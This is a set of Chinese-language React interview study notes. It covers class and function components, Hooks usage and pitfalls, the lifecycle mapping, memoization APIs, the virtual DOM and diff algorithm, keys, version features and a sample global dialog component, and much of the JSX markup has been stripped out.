组件初始状态state的配置不同** - -- React.createClass创建的组件,其状态state是通过`getInitialState`方法来配置组件相关的状态; -- React.Component创建的组件,其状态state是在`constructor`中像初始化组件属性一样声明的。 - -### 14. 对有状态组件和无状态组件的理解及使用场景:star::star: - -**(1)有状态组件** - -> 维护自生状态并有生命周期 - -**特点:** - -- 是类组件 -- 有继承 -- 可以使用this -- 可以使用react的生命周期 -- 使用较多,容易频繁触发生命周期钩子函数,影响性能 -- 内部使用 state,维护自身状态的变化,有状态组件根据外部组件传入的 props 和自身的 state进行渲染。 - -**使用场景:** - -- 需要使用到状态的。 -- 需要使用状态操作组件的(无状态组件的也可以实现新版本react hooks也可实现) - -**总结:** 类组件可以维护自身的状态变量,即组件的 state ,类组件还有不同的生命周期方法,可以让开发者能够在组件的不同阶段(挂载、更新、卸载),对组件做更多的控制。类组件则既可以充当无状态组件,也可以充当有状态组件。当一个类组件不需要管理自身状态时,也可称为无状态组件。 - -**(2)无状态组件** **特点:** - -> - -- 不依赖自身的状态state -- 可以是类组件或者函数组件。 -- 可以完全避免使用 this 关键字。(由于使用的是箭头函数事件无需绑定) -- 有更高的性能。当不需要使用生命周期钩子时,应该首先使用无状态函数组件 -- 组件内部不维护 state ,只根据外部组件传入的 props 进行渲染的组件,当 props 改变时,组件重新渲染。 - -**使用场景:** - -- 组件不需要管理 state,纯展示 - -**优点:** - -- 简化代码、专注于 render -- 组件不需要被实例化,无生命周期,提升性能。 输出(渲染)只取决于输入(属性),无副作用 -- 视图和数据的解耦分离 - -:star:**缺点:** - -- 无法使用 ref -- 无生命周期方法 -- 无法控制组件的重渲染,因为无法使用shouldComponentUpdate 方法,当组件接受到新的属性时则会重渲染 - -**总结:** 组件内部状态且与外部无关的组件,可以考虑用状态组件,这样状态树就不会过于复杂,易于理解和管理。当一个组件不需要管理自身状态时,也就是无状态组件,应该优先设计为函数组件。比如自定义的 ` - - ); - } -} -``` - -可以看出,React 类组件内部预置了相当多的“现成的东西”等着我们去调度/定制,state 和生命周期就是这些“现成东西”中的典型。要想得到这些东西,难度也不大,只需要继承一个 React.Component 即可。 - -当然,这也是类组件的一个不便,它太繁杂了,对于解决许多问题来说,编写一个类组件实在是一个过于复杂的姿势。复杂的姿势必然带来高昂的理解成本,这也是我们所不想看到的。除此之外,由于开发者编写的逻辑在封装后是和组件粘在一起的,这就使得**类组件内部的逻辑难以实现拆分和复用。** - -**(2)函数组件**:函数组件就是以函数的形态存在的 React 组件。早期并没有 React-Hooks,函数组件内部无法定义和维护 state,因此它还有一个别名叫“无状态组件”。以下是一个函数组件: - -```javascript -function DemoFunction(props) { - const { text } = props - return ( -
    -

    {`函数组件接收的内容:[${text}]`}

    -
    - ); -} -``` - -相比于类组件,函数组件肉眼可见的特质自然包括轻量、灵活、易于组织和维护、较低的学习成本等。 - -通过对比,从形态上可以对两种组件做区分,它们之间的区别如下: - -- 类组件需要继承 class,函数组件不需要; -- 类组件可以访问生命周期方法,函数组件不能; -- 类组件中可以获取到实例化后的 this,并基于这个 this 做各种各样的事情,而函数组件不可以; -- 类组件中可以定义并维护 state(状态),而函数组件不可以; - -除此之外,还有一些其他的不同。通过上面的区别,我们不能说谁好谁坏,它们各有自己的优势。在 React-Hooks 出现之前,**类组件的能力边界明显强于函数组件。** - -实际上,类组件和函数组件之间,是面向对象和函数式编程这两套不同的设计思想之间的差异。而函数组件更加契合 React 框架的设计理念: - -React 组件本身的定位就是函数,一个输入数据、输出 UI 的函数。作为开发者,我们编写的是声明式的代码,而 React 框架的主要工作,就是及时地把声明式的代码转换为命令式的 DOM 操作,把数据层面的描述映射到用户可见的 UI 变化中去。这就意味着从原则上来讲,React 的数据应该总是紧紧地和渲染绑定在一起的,而类组件做不到这一点。**函数组件就真正地将数据和渲染绑定到了一起。函数组件是一个更加匹配其设计理念、也更有利于逻辑拆分与重用的组件表达形式。** - -为了能让开发者更好的的去编写函数式组件。于是,React-Hooks 便应运而生。 - -React-Hooks 是一套能够使函数组件更强大、更灵活的“钩子”。 - -React-Hooks 是一套能够使函数组件更强大、更灵活的“钩子”。 - -函数组件比起类组件少了很多东西,比如生命周期、对 state 的管理等。这就给函数组件的使用带来了非常多的局限性,导致我们并不能使用函数这种形式,写出一个真正的全功能的组件。而React-Hooks 的出现,就是为了帮助函数组件补齐这些(相对于类组件来说)缺失的能力。 - -如果说函数组件是一台轻巧的快艇,那么 React-Hooks 就是一个内容丰富的零部件箱。“重装战舰”所预置的那些设备,这个箱子里基本全都有,同时它还不强制你全都要,而是允许你自由地选择和使用你需要的那些能力,然后将这些能力以 Hook(钩子)的形式“钩”进你的组件里,从而定制出一个最适合你的“专属战舰”。 - -### 2. 为什么 useState 要使用数组而不是对象:star::star: - -useState 的用法: - -```javascript -const [count, setCount] = useState(0) -``` - -可以看到 useState 返回的是一个数组,那么为什么是返回数组而不是返回对象呢? - -这里用到了解构赋值,所以先来看一下ES6 的解构赋值: - -##### 数组的解构赋值 - -```javascript -const foo = [1, 2, 3]; -const [one, two, three] = foo; -console.log(one); // 1 -console.log(two); // 2 -console.log(three); // 3 -``` - -##### 对象的解构赋值 - -```javascript -const user = { - id: 888, - name: "xiaoxin" -}; -const { id, name } = user; -console.log(id); // 888 -console.log(name); // "xiaoxin" -``` - -看完这两个例子,答案应该就出来了: - -- 如果 useState 返回的是数组,那么使用者可以对数组中的元素命名,代码看起来也比较干净 -- 如果 useState 返回的是对象,在解构对象的时候必须要和 useState 内部实现返回的对象同名,想要使用多次的话,必须得设置别名才能使用返回值 - -下面来看看如果 useState 返回对象的情况: - -```javascript -// 第一次使用 -const { state, setState } = useState(false); -// 第二次使用 -const { state: counter, setState: setCounter } = useState(0) -``` - -这里可以看到,返回对象的使用方式还是挺麻烦的,更何况实际项目中会使用的更频繁。 **总结:\**useState 返回的是 array 而不是 object 的原因就是为了\**降低使用的复杂度**,返回数组的话可以直接根据顺序解构,而返回对象的话要想使用多次就需要定义别名了。 - -### 3. React Hooks 解决了哪些问题?:star::star: - -React Hooks 主要解决了以下问题: - -**(1)在组件之间复用状态逻辑很难** - -React 没有提供将可复用性行为“附加”到组件的途径(例如,把组件连接到 store)解决此类问题可以使用 render props 和 高阶组件。但是这类方案需要重新组织组件结构,这可能会很麻烦,并且会使代码难以理解。由 providers,consumers,高阶组件,render props 等其他抽象层组成的组件会形成“嵌套地狱”。尽管可以在 DevTools 过滤掉它们,但这说明了一个更深层次的问题:React 需要为共享状态逻辑提供更好的原生途径。 - -可以使用 Hook 从组件中提取状态逻辑,使得这些逻辑可以单独测试并复用。Hook 使我们在无需修改组件结构的情况下复用状态逻辑。 这使得在组件间或社区内共享 Hook 变得更便捷。 - -**(2)复杂组件变得难以理解** - -在组件中,每个生命周期常常包含一些不相关的逻辑。例如,组件常常在 componentDidMount 和 componentDidUpdate 中获取数据。但是,同一个 componentDidMount 中可能也包含很多其它的逻辑,如设置事件监听,而之后需在 componentWillUnmount 中清除。相互关联且需要对照修改的代码被进行了拆分,而完全不相关的代码却在同一个方法中组合在一起。如此很容易产生 bug,并且导致逻辑不一致。 - -在多数情况下,不可能将组件拆分为更小的粒度,因为状态逻辑无处不在。这也给测试带来了一定挑战。同时,这也是很多人将 React 与状态管理库结合使用的原因之一。但是,这往往会引入了很多抽象概念,需要你在不同的文件之间来回切换,使得复用变得更加困难。 - -为了解决这个问题,Hook 将组件中相互关联的部分拆分成更小的函数(比如设置订阅或请求数据),而并非强制按照生命周期划分。你还可以使用 reducer 来管理组件的内部状态,使其更加可预测。 - -**(3)难以理解的 class** - -除了代码复用和代码管理会遇到困难外,class 是学习 React 的一大屏障。我们必须去理解 JavaScript 中 this 的工作方式,这与其他语言存在巨大差异。还不能忘记绑定事件处理器。没有稳定的语法提案,这些代码非常冗余。大家可以很好地理解 props,state 和自顶向下的数据流,但对 class 却一筹莫展。即便在有经验的 React 开发者之间,对于函数组件与 class 组件的差异也存在分歧,甚至还要区分两种组件的使用场景。 - -为了解决这些问题,Hook 使你在非 class 的情况下可以使用更多的 React 特性。 从概念上讲,React 组件一直更像是函数。而 Hook 则拥抱了函数,同时也没有牺牲 React 的精神原则。Hook 提供了问题的解决方案,无需学习复杂的函数式或响应式编程技术 - -### 4. React Hook 的使用限制有哪些? - -React Hooks 的限制主要有两条: - -- 不要在循环、条件或嵌套函数中调用 Hook; -- 在 React 的函数组件中调用 Hook。 - -那为什么会有这样的限制呢?Hooks 的设计初衷是为了改进 React 组件的开发模式。在旧有的开发模式下遇到了三个问题。 - -- 组件之间难以复用状态逻辑。过去常见的解决方案是高阶组件、render props 及状态管理框架。 -- 复杂的组件变得难以理解。生命周期函数与业务逻辑耦合太深,导致关联部分难以拆分。 -- 人和机器都很容易混淆类。常见的有 this 的问题,但在 React 团队中还有类难以优化的问题,希望在编译优化层面做出一些改进。 - -这三个问题在一定程度上阻碍了 React 的后续发展,所以为了解决这三个问题,Hooks **基于函数组件**开始设计。然而第三个问题决定了 Hooks 只支持函数组件。 - -那为什么不要在循环、条件或嵌套函数中调用 Hook 呢?因为 Hooks 的设计是基于数组实现。在调用时按顺序加入数组中,如果使用循环、条件或嵌套函数很有可能导致数组取值错位,执行错误的 Hook。当然,实质上 React 的源码里不是数组,是链表。 - -这些限制会在编码上造成一定程度的心智负担,新手可能会写错,为了避免这样的情况,可以引入 ESLint 的 Hooks 检查插件进行预防。 - -### 5. useEffect 与 useLayoutEffect 的区别:star: - -**(1)共同点** - -- **运用效果:** useEffect 与 useLayoutEffect 两者都是用于处理副作用,这些副作用包括改变 DOM、设置订阅、操作定时器等。在函数组件内部操作副作用是不被允许的,所以需要使用这两个函数去处理。 -- **使用方式:** useEffect 与 useLayoutEffect 两者底层的函数签名是完全一致的,都是调用的 mountEffectImpl方法,在使用上也没什么差异,基本可以直接替换。 - -**(2)不同点** - -- **使用场景:** useEffect 在 React 的渲染过程中是被异步调用的,用于绝大多数场景;而 useLayoutEffect 会在所有的 DOM 变更之后同步调用,主要用于处理 DOM 操作、调整样式、避免页面闪烁等问题。也正因为是同步处理,所以需要避免在 useLayoutEffect 做计算量较大的耗时任务从而造成阻塞。 -- **使用效果:** useEffect是按照顺序执行代码的,改变屏幕像素之后执行(先渲染,后改变DOM),当改变屏幕内容时可能会产生闪烁;useLayoutEffect是改变屏幕像素之前就执行了(会推迟页面显示的事件,先改变DOM后渲染),不会产生闪烁。**useLayoutEffect总是比useEffect先执行。** - -在未来的趋势上,两个 API 是会长期共存的,暂时没有删减合并的计划,需要开发者根据场景去自行选择。React 团队的建议非常实用,如果实在分不清,先用 useEffect,一般问题不大;如果页面有异常,再直接替换为 useLayoutEffect 即可。 - -### 6. React Hooks在平时开发中需要注意的问题和原因 - -**(1)不要在循环,条件或嵌套函数中调用Hook,必须始终在 React函数的顶层使用Hook** - -这是因为React需要利用调用顺序来正确更新相应的状态,以及调用相应的钩子函数。一旦在循环或条件分支语句中调用Hook,就容易导致调用顺序的不一致性,从而产生难以预料到的后果。 - -**(2)使用useState时候,使用push,pop,splice等直接更改数组对象的坑** - -使用push直接更改数组无法获取到新值,应该采用析构方式,但是在class里面不会有这个问题。代码示例: - -```jsx -function Indicatorfilter() { - let [num,setNums] = useState([0,1,2,3]) - const test = () => { - // 这里坑是直接采用push去更新num - // setNums(num)是无法更新num的 - // 必须使用num = [...num ,1] - num.push(1) - // num = [...num ,1] - setNums(num) - } -return ( -
    -
    测试
    -
    - {num.map((item,index) => ( -
    {item}
    - ))} -
    -
    - ) -} - -class Indicatorfilter extends React.Component{ - constructor(props:any){ - super(props) - this.state = { - nums:[1,2,3] - } - this.test = this.test.bind(this) - } - - test(){ - // class采用同样的方式是没有问题的 - this.state.nums.push(1) - this.setState({ - nums: this.state.nums - }) - } - - render(){ - let {nums} = this.state - return( -
    -
    测试
    -
    - {nums.map((item:any,index:number) => ( -
    {item}
    - ))} -
    -
    - - ) - } -} -``` - -(3)**useState设置状态的时候,只有第一次生效,后期需要更新状态,必须通过useEffect** - -TableDeail是一个公共组件,在调用它的父组件里面,我们通过set改变columns的值,以为传递给TableDeail 的 columns是最新的值,所以tabColumn每次也是最新的值,但是实际tabColumn是最开始的值,不会随着columns的更新而更新: - -```javascript -const TableDeail = ({ - columns, -}:TableData) => { - const [tabColumn, setTabColumn] = useState(columns) -} - -// 正确的做法是通过useEffect改变这个值 -const TableDeail = ({ - columns, -}:TableData) => { - const [tabColumn, setTabColumn] = useState(columns) - useEffect(() =>{setTabColumn(columns)},[columns]) -} -``` - -**(4)善用useCallback** - -父组件传递给子组件事件句柄时,如果我们没有任何参数变动可能会选用useMemo。但是每一次父组件渲染子组件即使没变化也会跟着渲染一次。 - -**(5)不要滥用useContext** - -可以使用基于 useContext 封装的状态管理工具。 - -### 7. React Hooks 和生命周期的关系? - -**函数组件** 的本质是函数,没有 state 的概念的,因此**不存在生命周期**一说,仅仅是一个 **render 函数**而已。 但是引入 **Hooks** 之后就变得不同了,它能让组件在不使用 class 的情况下拥有 state,所以就有了生命周期的概念,所谓的生命周期其实就是 `useState`、 `useEffect()` 和 `useLayoutEffect()` 。 - -即:**Hooks 组件(使用了Hooks的函数组件)有生命周期,而函数组件(未使用Hooks的函数组件)是没有生命周期的**。 - -下面是具体的 class 与 Hooks 的**生命周期对应关系**: - -- `constructor`:函数组件不需要构造函数,可以通过调用 `**useState 来初始化 state**`。如果计算的代价比较昂贵,也可以传一个函数给 `useState`。 - -```javascript -const [num, UpdateNum] = useState(0) -``` - -- `getDerivedStateFromProps`:一般情况下,我们不需要使用它,可以在**渲染过程中更新 state**,以达到实现 `getDerivedStateFromProps` 的目的。 - -```javascript -function ScrollView({row}) { - let [isScrollingDown, setIsScrollingDown] = useState(false); - let [prevRow, setPrevRow] = useState(null); - if (row !== prevRow) { - // Row 自上次渲染以来发生过改变。更新 isScrollingDown。 - setIsScrollingDown(prevRow !== null && row > prevRow); - setPrevRow(row); - } - return `Scrolling down: ${isScrollingDown}`; -} -``` - -React 会立即退出第一次渲染并用更新后的 state 重新运行组件以避免耗费太多性能。 - -- `shouldComponentUpdate`:可以用 `**React.memo**` 包裹一个组件来对它的 `props` 进行浅比较 - -```javascript -const Button = React.memo((props) => { // 具体的组件}); -``` - -注意:`**React.memo 等效于**` `**PureComponent**`,它只浅比较 props。这里也可以使用 `useMemo` 优化每一个节点。 - -- `render`:这是函数组件体本身。 -- `componentDidMount`, `componentDidUpdate`: `useLayoutEffect` 与它们两的调用阶段是一样的。但是,我们推荐你**一开始先用 useEffect**,只有当它出问题的时候再尝试使用 `useLayoutEffect`。`useEffect` 可以表达所有这些的组合。 - -```javascript -// componentDidMount -useEffect(()=>{ - // 需要在 componentDidMount 执行的内容 -}, []) -useEffect(() => { - // 在 componentDidMount,以及 count 更改时 componentDidUpdate 执行的内容 - document.title = `You clicked ${count} times`; - return () => { - // 需要在 count 更改时 componentDidUpdate(先于 document.title = ... 执行,遵守先清理后更新) - // 以及 componentWillUnmount 执行的内容 - } // 当函数中 Cleanup 函数会按照在代码中定义的顺序先后执行,与函数本身的特性无关 -}, [count]); // 仅在 count 更改时更新 -``` - -**请记得 React 会等待浏览器完成画面渲染之后才会延迟调用 ,因此会使得额外操作很方便** - -- `componentWillUnmount`:相当于 `useEffect `里面返回的 `cleanup` 函数 - -```javascript -// componentDidMount/componentWillUnmount -useEffect(()=>{ - // 需要在 componentDidMount 执行的内容 - return function cleanup() { - // 需要在 componentWillUnmount 执行的内容 - } -}, []) -``` - -- `componentDidCatch` and `getDerivedStateFromError`:目前**还没有**这些方法的 Hook 等价写法,但很快会加上。 - -| **class 组件** | **Hooks 组件** | -| ------------------------ | ------------------------- | -| constructor | useState | -| getDerivedStateFromProps | useState 里面 update 函数 | -| shouldComponentUpdate | useMemo | -| render | 函数本身 | -| componentDidMount | useEffect | -| componentDidUpdate | useEffect | -| componentWillUnmount | useEffect 里面返回的函数 | -| componentDidCatch | 无 | -| getDerivedStateFromError | 无 | - -### 8. useCallback :star: - -返回一个 [memoized](https://en.wikipedia.org/wiki/Memoization) 回调函数。 - -把内联回调函数及依赖项数组作为参数传入 `useCallback`,它将返回该回调函数的 memoized 版本,该回调函数仅在某个依赖项改变时才会更新。当你把回调函数传递给经过优化的并使用引用相等性去避免非必要渲染(例如 `shouldComponentUpdate`)的子组件时,它将非常有用。 - -`useCallback(fn, deps)` 相当于 `useMemo(() => fn, deps)`。 - -### 9. useMemo :star: - -```js -const memoizedValue = useMemo(() => computeExpensiveValue(a, b), [a, b]); -``` - -返回一个 memoized 值,类似于Vue的计算属性,具有缓存(记忆) - -它仅会在某个依赖项改变时才重新计算 memoized 值。这种优化有助于避免在每次渲染时都进行高开销的计算。 - -传入 `useMemo` 的函数会在渲染期间执行(尚未交付)。请不要在这个函数内部执行不应该在渲染期间内执行的操作,诸如副作用这类的操作属于 `useEffect` 的适用范畴,而不是 `useMemo`。 - -### 10. memo :star: - -```js -import {memo} from "react" - -const MyComponent = memo(function MyComponent(props) { - /* 使用 props 渲染 */ -}); -``` - -`React.memo` 是高阶组件HOC。 - -如果你的组件在相同 props 的情况下渲染相同的结果,那么你可以通过将其包装在 `React.memo` 中调用,以此通过记忆组件渲染结果的方式来提高组件的性能表现。这意味着在这种情况下,React 将跳过渲染组件的操作并直接复用最近一次渲染的结果。 - -如果其实现中还拥有 `useState`,`useReducer` 或 `useContext` 的 Hook,当 state 或 context 发生变化时,它仍会重新渲染。 - -默认情况下其只会对复杂对象做浅层对比,自定义比较依赖第二个参数 - -```js -function MyComponent(props) { - /* 使用 props 渲染 */ -} -function areEqual(prevProps, nextProps) { - /* - 如果把 nextProps 传入 render 方法的返回结果与 - 将 prevProps 传入 render 方法的返回结果一致则返回 true, - 否则返回 false - */ -} -export default React.memo(MyComponent, areEqual); -``` - -### 11. [执行和清除副作用的时机](执行和清除Effect的时机.md)? :star::star: - - - -## 八、虚拟DOM - -### 1. 对虚拟 DOM 的理解?虚拟 DOM 主要做了什么?虚拟 DOM 本身是什么? :star::star: - -从本质上来说,Virtual Dom是一个JavaScript对象,通过对象的方式来表示DOM结构。将页面的状态抽象为JS对象的形式,配合不同的渲染工具,使**跨平台**渲染成为可能。通过事务处理机制,将多次DOM修改的结果一次性的更新到页面上,从而有效的减少页面渲染的次数,减少修改DOM的重绘重排次数,提高渲染性能。 - -虚拟DOM是对DOM的抽象,这个对象是更加轻量级的对DOM的描述。它设计的最初目的,就是更好的跨平台,比如node.js就没有DOM,如果想实现SSR,那么一个方式就是借助虚拟dom,因为虚拟dom本身是js对象。 在代码渲染到页面之前,vue或者react会把代码转换成一个对象(虚拟DOM)。以对象的形式来描述真实dom结构,最终渲染到页面。在每次数据发生变化前,虚拟dom都会缓存一份,变化之时,现在的虚拟dom会与缓存的虚拟dom进行比较。在vue或者react内部封装了diff算法,通过这个算法来进行比较,渲染时修改改变的变化,原先没有发生改变的通过原先的数据进行渲染。 - -另外现代前端框架的一个基本要求就是无须手动操作DOM,一方面是因为手动操作DOM无法保证程序性能,多人协作的项目中如果review不严格,可能会有开发者写出性能较低的代码,另一方面更重要的是省略手动DOM操作可以大大提高开发效率。 - -**为什么要用 Virtual DOM:** - -**(1)保证性能下限,在不进行手动优化的情况下,提供过得去的性能** - -下面对比一下修改DOM时真实DOM操作和Virtual DOM的过程,来看一下它们重排重绘的性能消耗∶ - -- 真实DOM∶ 生成HTML字符串+ 重建所有的DOM元素 -- Virtual DOM∶ 生成vNode+ DOMDiff+必要的DOM更新 - -Virtual DOM的更新DOM的准备工作耗费更多的时间,也就是JS层面,相比于更多的DOM操作它的消费是极其便宜的。尤雨溪在社区论坛中说道∶ 框架给你的保证是,你不需要手动优化的情况下,我依然可以给你提供过得去的性能。 - - **(2)跨平台** Virtual DOM本质上是JavaScript的对象,它可以很方便的跨平台操作,比如服务端渲染、uniapp等。 - -### 2. React diff 算法的原理是什么? :star::star: - -实际上,diff 算法探讨的就是虚拟 DOM 树发生变化后,生成 DOM 树更新补丁的方式。它通过对比新旧两株虚拟 DOM 树的变更差异,将更新补丁作用于真实 DOM,以最小成本完成视图更新。 - -![React」一文带你了解React diff 算法_CUG-GZ的博客-CSDN博客_diff算法是深度优先还是广度优先](https://cdn.yihuiblog.top/images/202206302323345.jpeg) - -具体的流程如下: - -- 真实的 DOM 首先会映射为虚拟 DOM; -- 当虚拟 DOM 发生变化后,就会根据差距计算生成 patch,这个 patch 是一个结构化的数据,内容包含了增加、更新、移除等; -- 根据 patch 去更新真实的 DOM,反馈到用户的界面上。 - -![React」一文带你了解React diff 算法_CUG-GZ的博客-CSDN博客_diff算法是深度优先还是广度优先](https://cdn.yihuiblog.top/images/202206302323903.jpeg) - -一个简单的例子: - -```jsx -import React from 'react' -export default class ExampleComponent extends React.Component { - render() { - if(this.props.isVisible) { - return
    visbile
    ; - } - return
    hidden
    ; - } -} -``` - -这里,首先假定 ExampleComponent 可见,然后再改变它的状态,让它不可见 。映射为真实的 DOM 操作是这样的,React 会创建一个 div 节点。 - -```jsx -
    visbile
    -``` - -当把 visbile 的值变为 false 时,就会替换 class 属性为 hidden,并重写内部的 innerText 为 hidden。**这样一个生成补丁、更新差异的过程统称为 diff 算法。** - -diff算法可以总结为三个策略,分别从树、组件及元素三个层面进行复杂度的优化::star::star: - -**策略一:忽略节点跨层级操作场景,提升比对效率。(基于树进行对比)** - -这一策略需要进行树比对,即对树进行分层比较。树比对的处理手法是非常“暴力”的,即两棵树只对同一层次的节点进行比较,如果发现节点已经不存在了,则该节点及其子节点会被完全删除掉,不会用于进一步的比较,这就提升了比对效率。 - -**策略二:如果组件的 class 一致,则默认为相似的树结构,否则默认为不同的树结构。(基于组件进行对比)** - -在组件比对的过程中: - -- 如果组件是同一类型则进行树比对; -- 如果不是则直接放入补丁中。 - -只要父组件类型不同,就会被重新渲染。这也就是为什么 shouldComponentUpdate、PureComponent 及 React.memo 可以提高性能的原因。 - -**策略三:同一层级的子节点,可以通过标记 key 的方式进行列表对比。(基于节点进行对比)** - -元素比对主要发生在同层级中,通过标记节点操作生成补丁。节点操作包含了插入、移动、删除等。其中节点重新排序同时涉及插入、移动、删除三个操作,所以效率消耗最大,此时策略三起到了至关重要的作用。通过标记 key 的方式,React 可以直接移动 DOM 节点,降低内耗。 - -### 3. React key 是干嘛用的 为什么要加?key 主要是解决哪一类问题的:star: - -Keys 是 React 用于追踪哪些列表中元素被修改、被添加或者被移除的辅助标识。在开发过程中,我们需要保证某个元素的 key 在其同级元素中具有唯一性。 - -在 React Diff 算法中 React 会借助元素的 Key 值来判断该元素是新近创建的还是被移动而来的元素,从而减少不必要的元素重渲染此外,React 还需要借助 Key 值来判断元素与本地状态的关联关系。 - -注意事项: - -- key值一定要和具体的元素—一对应; -- 尽量不要用数组的index去作为key; -- 不要在render的时候用随机数或者其他操作给元素加上不稳定的key,这样造成的性能开销比不加key的情况下更糟糕。 - -### 4. 虚拟 DOM 的引入与直接操作原生 DOM 相比,哪一个效率更高,为什么 :star: - -虚拟DOM相对原生的DOM不一定是效率更高,如果只修改一个按钮的文案,那么虚拟 DOM 的操作无论如何都不可能比真实的 DOM 操作更快。在首次渲染大量DOM时,由于多了一层虚拟DOM的计算,虚拟DOM也会比innerHTML插入慢。它能保证性能下限,在真实DOM操作的时候进行针对性的优化时,还是更快的。所以要根据具体的场景进行探讨。 - -在整个 DOM 操作的演化过程中,其实主要矛盾并不在于性能,而在于开发者写得爽不爽,在于研发体验/研发效率。虚拟 DOM 不是别的,正是前端开发们为了追求更好的研发体验和研发效率而创造出来的高阶产物。虚拟 DOM 并不一定会带来更好的性能,React 官方也从来没有把虚拟 DOM 作为性能层面的卖点对外输出过。**虚拟 DOM 的优越之处在于,它能够在提供更爽、更高效的研发模式(也就是函数式的 UI 编程方式)的同时,仍然保持一个还不错的性能。** - -### 5. React 与 Vue 的 diff 算法有何不同?:star: - -diff 算法是指生成更新补丁的方式,主要应用于虚拟 DOM 树变化后,更新真实 DOM。所以 diff 算法一定存在这样一个过程:触发更新 → 生成补丁 → 应用补丁。 - -React 的 diff 算法,触发更新的时机主要在 state 变化与 hooks 调用之后。此时触发虚拟 DOM 树变更遍历,采用了深度优先遍历算法。但传统的遍历方式,效率较低。为了优化效率,使用了分治的方式。将单一节点比对转化为了 3 种类型节点的比对,分别是树、组件及元素,以此提升效率。 - -- 树比对:由于网页视图中较少有跨层级节点移动,两株虚拟 DOM 树只对同一层次的节点进行比较。 -- 组件比对:如果组件是同一类型,则进行树比对,如果不是,则直接放入到补丁中。 -- 元素比对:主要发生在同层级中,通过标记节点操作生成补丁,节点操作对应真实的 DOM 剪裁操作。 - -以上是经典的 React diff 算法内容。自 React 16 起,引入了 Fiber 架构。为了使整个更新过程可随时暂停恢复,节点与树分别采用了 FiberNode 与 FiberTree 进行重构。fiberNode 使用了双链表的结构,可以直接找到兄弟节点与子节点。整个更新过程由 current 与 workInProgress 两株树双缓冲完成。workInProgress 更新完成后,再通过修改 current 相关指针指向新节点。 - -Vue 的整体 diff 策略与 React 对齐,虽然缺乏时间切片能力,但这并不意味着 Vue 的性能更差,因为在 Vue 3 初期引入过,后期因为收益不高移除掉了。除了高帧率动画,在 Vue 中其他的场景几乎都可以使用防抖和节流去提高响应性能。 - -## 九、其他 - -### 1. React组件命名推荐的方式是哪个? - -通过引用而不是使用`displayName`来命名组件 - -使用displayName命名组件: - -```javascript -export default React.createClass({ displayName: 'TodoApp', // ...}) -``` - -React推荐的方法: - -```javascript -export default class TodoApp extends React.Component { // ...} -``` - -### 2. react 最新版本解决了什么问题,增加了哪些东西 :star: - -React 16.x的三大新特性 Time Slicing、Suspense、 hooks - -- **Time Slicing(解决CPU速度问题**)使得在执行任务的期间可以随时暂停,跑去干别的事情,这个特性使得react能在性能极其差的机器跑时,仍然保持有良好的性能 - -- **Suspense (解决网络IO问题)** 和**lazy**配合,实现异步加载组件。 能暂停当前组件的渲染, 当完成某件事以后再继续渲染,解决从react出生到现在都存在的「异步副作用」的问题,而且解决得非的优雅,使用的是 T异步但是同步的写法,这是最好的解决异步问题的方式 - - > Suspense :焦虑,悬念,兴奋;<法律> 暂停,权利中止 - > - > > apprehension about what is going to happen. - -- 提供了一个**内置函数componentDidCatch(组件异常捕获)**,当有错误发生时,可以友好地展示 fallback 组件; 可以捕捉到它的子元素(包括嵌套子元素)抛出的异常; 可以复用错误组件。 - -**(1)React16.8** 加入hooks,让React函数式组件更加灵活,hooks之前,React存在很多问题: - -- 在组件间复用状态逻辑很难 -- 复杂组件变得难以理解,高阶组件和函数组件的嵌套过深。 -- class组件的this指向问题 -- 难以记忆的生命周期 - -hooks很好的解决了上述问题,hooks提供了很多方法 - -- useState 返回有状态值,以及更新这个状态值的函数 -- useEffect 接受包含命令式,可能有副作用代码的函数。 -- useContext 接受上下文对象(从 React.createContext返回的值)并返回当前上下文值, -- useReducer useState 的替代方案。接受类型为 (state,action)=> newState的reducer,并返回与dispatch方法配对的当前状态。 -- useCalLback 返回一个回忆的memoized版本,该版本仅在其中一个输入发生更改时才会更改。纯函数的输入输出确定性 o useMemo 纯的一个记忆函数 o useRef 返回一个可变的ref对象,其Current 属性被初始化为传递的参数,返回的 ref 对象在组件的整个生命周期内保持不变。 -- useImperativeMethods 自定义使用ref时公开给父组件的实例值 -- useMutationEffect 更新兄弟组件之前,它在React执行其DOM改变的同一阶段同步触发 -- useLayoutEffect DOM改变后同步触发。使用它来从DOM读取布局并同步重新渲染 - -**(2)React16.9** - -- 重命名 Unsafe 的生命周期方法。新的 UNSAFE_前缀将有助于在代码 review 和 debug 期间,使这些有问题的字样更突出 -- 废弃 javascrip:形式的 URL。以javascript:开头的URL 非常容易遭受攻击,造成安全漏洞。 -- 废弃"Factory"组件。 工厂组件会导致 React 变大且变慢。 -- act()也支持异步函数,并且你可以在调用它时使用 await。 -- 使用 进行性能评估。在较大的应用中追踪性能回归可能会很方便 - -**(3)React16.13.0** - -- 支持在渲染期间调用setState,但仅适用于同一组件 -- 可检测冲突的样式规则并记录警告 -- 废弃 unstable_createPortal,使用CreatePortal -- 将组件堆栈添加到其开发警告中,使开发人员能够隔离bug并调试其程序,这可以清楚地说明问题所在,并更快地定位和修复错误。 - -### 3. react 实现一个全局的 dialog - -```javascript -import React, { Component } from 'react'; -import { is, fromJS } from 'immutable'; -import ReactDOM from 'react-dom'; -import ReactCSSTransitionGroup from 'react-addons-css-transition-group'; -import './dialog.css'; -let defaultState = { - alertStatus:false, - alertTip:"提示", - closeDialog:function(){}, - childs:'' -} -class Dialog extends Component{ - state = { - ...defaultState - }; - // css动画组件设置为目标组件 - FirstChild = props => { - const childrenArray = React.Children.toArray(props.children); - return childrenArray[0] || null; - } - //打开弹窗 - open =(options)=>{ - options = options || {}; - options.alertStatus = true; - var props = options.props || {}; - var childs = this.renderChildren(props,options.childrens) || ''; - console.log(childs); - this.setState({ - ...defaultState, - ...options, - childs - }) - } - //关闭弹窗 - close(){ - this.state.closeDialog(); - this.setState({ - ...defaultState - }) - } - renderChildren(props,childrens) { - //遍历所有子组件 - var childs = []; - childrens = childrens || []; - var ps = { - ...props, //给子组件绑定props - _close:this.close //给子组件也绑定一个关闭弹窗的事件 - }; - childrens.forEach((currentItem,index) => { - childs.push(React.createElement( - currentItem, - { - ...ps, - key:index - } - )); - }) - return childs; - } - shouldComponentUpdate(nextProps, nextState){ - return !is(fromJS(this.props), fromJS(nextProps)) || !is(fromJS(this.state), fromJS(nextState)) - } - - render(){ - return ( - -
    - {this.state.childs} -
    -
